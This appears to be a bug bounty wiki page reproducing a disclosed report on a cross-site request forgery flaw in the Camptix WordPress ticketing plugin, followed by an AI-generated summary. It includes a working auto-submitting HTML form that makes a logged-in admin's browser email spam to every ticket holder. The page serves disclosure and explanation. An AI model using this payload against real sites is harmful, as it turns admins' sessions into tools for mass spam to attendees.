Send emails to all users using Camptix
The Camptix email notification form can be made to send spam to ticket holders if an admin visits a malicious page with a valid wpnonce, which the reporter says can be generated easily.
- Disclosed after 42 days
Ian, This is my first stab at submitting a bug, and I'm not even sure it is one. Here's what I found.
If an admin of a site using Camptix who is logged into the admin screen visits a malicious site which has access to a valid wpnonce value could send a large volume of spam to all ticket holders.
POC:
<body onload="document.getElementById('s').submit();"> <form method=post id=s action="http://xxx/wp-admin/edit.php?post_type=tix_ticket&page=camptix_tools&tix_summarize=1&tix_section=notify&tix_notify_attendees=1"> <input type=hidden name="tix-notify-segment-query" value='[{"field":"ticket","op":"is not","value":"1"}]'> <input type=hidden name="tix-notify-segment-match" value="OR"> <input type=hidden name="tix_notify_subject" value="camptix likes viagara"> <input type=hidden name="tix_notify_body" value="send scary messages about viagra"> <input type=hidden name="tix_notify_attendees" value="1"> <input type=hidden name="tix_notify_submit " value="Send E-mails"> <input type=hidden name="_wpnonce" value="122536321b"> <input type=hidden name="_wp_http_referer" value="/wp-admin/edit.php?post_type=tix_ticket&page=camptix_tools&tix_summarize=1&tix_section=notify&tix_notify_attendees=1"> <input type=submit > </form> </body>I'm not an expert at wpnonce values, but the documentation of Wordpress indicates that you shouldn't rely on it for security, and this article claims they can be generated easily. https://codeseekah.com/2016/01/21/wordpress-nonces-vulnerabilities/
The POC only sends only email to each recipient, but you could adapt it to attempt to send more. Depending on how many attendees, the script could send zero or thousands of emails.
I'm eager to hear back, and I'm eager to hear how I could make this report more helpful. :) Jason
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the Camptix email notification form does not properly validate a CSRF token or uses a predictable nonce, allowing cross-site form submission.
Impact
An attacker could send spam emails to all ticket holders, potentially in large volume, if they can obtain a valid nonce.
What the attacker needed
Admin logged into WordPress; admin visits malicious site; attacker knows valid wpnonce
The fix
The reporter notes WordPress documentation says nonces should not be relied on for security.
How it was found
- An admin logs into the WordPress admin panel.
- The admin visits a malicious website containing an auto-submitting form.
- The form posts to the Camptix tools page with parameters to send emails to all attendees.
- The form includes a valid wpnonce value.
- The emails are sent to all ticket holders.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The reporter thinks a malicious site could make a logged-in admin's browser send emails to ticket holders. A security token (wpnonce) is needed, which the reporter thinks can be obtained.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.